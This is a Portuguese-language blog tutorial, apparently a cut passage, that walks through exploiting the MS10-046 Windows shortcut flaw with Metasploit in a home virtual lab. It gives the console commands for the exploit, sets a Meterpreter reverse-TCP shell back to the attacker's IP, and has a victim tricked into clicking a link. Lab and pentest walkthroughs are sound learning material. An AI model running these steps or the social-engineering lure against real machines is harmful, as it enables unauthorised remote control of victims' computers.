O mais interessante é que depois de descoberto a falha, a Microsoft só foi lançar uma correção 1 mês depois, deixando assim milhares de máquinas vulneváveis.

Requisitos

No meu computador, utilizo máquinas virtuais para testes de penetração, onde assim não prejudico ninguem da minha rede e nem a mim mesmo, pois uma invasão sem autorização é crime, fique ligado ;)

Pois bem, aqui utilizo 2 máquinas virtuais.

Windows XP (sem SP) com o IP: 192.168.1.142

BackTrack R1 (Já tem o R2 pra download) com o IP: 192.168.1.183


Estou utilizando a máquina virtual “Vmware Workstation 7“. Caso não conheça a VMware, use o google e conheçerá.

Iniciando

Antes de tudo, vamos atualizar o Metasploit, então na shell digitamos:

root@bt:~# cd /pentest/exploits/framework3

e no diretório do MSF, usamos o comando “svn update” para atualiza-ló.

Ps: Para atualiza-ló, você tem que está no diretório do MSF3

Depois de atualizado, vamos inicialo pelo comando:

root@bt:/pentest/exploits/framework3# msfconsole

Console do MSFConsole do MSF

Agora vamos selecionar o exploit que iremos utilizar. Utilizo o comando “Search” para pesquisar o exploit, ou payload etc.

Agora vamos utilizar o exploit pelo comando “use” e o caminho onde se encontra o mesmo.

msf > use exploit/windows/browser/ms10_046_shortcut_icon_dllloader

Depois de selecionado o exploit, exprerimente utilizar o comando “info“.O mesmo apresenta informações detalhadas sobre o exploit e falha.

Depois de setamos o exploit, vamos selecionar o payload. Usarei o Payload meterpreter.

msf exploit(ms10_046_shortcut_icon_dllloader) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

Agora vamos seguir a seguinte configuração do exploit:


Onde:

set LHOST 192.168.1.183 = Meu ip

exploit = Para lançar o exploit.

Agora vamos usar a nossa engenharia social e pedir pra vitima clicar no link “http://192.168.1.183/”.


Agora no BackTrack vamos digitar o comando “sessions -r“, esse comando lista todas as sessões ativas no momento ou não.

Para entrar na sessão 1, vamos usar o comando “sessions -i 1

Game over :)

Já estamos dentro do computador alvo, para provar isso, digite o comando “sysinfo“, onde ele irá mostrar algumas informações básicas da nossa vítima.

 
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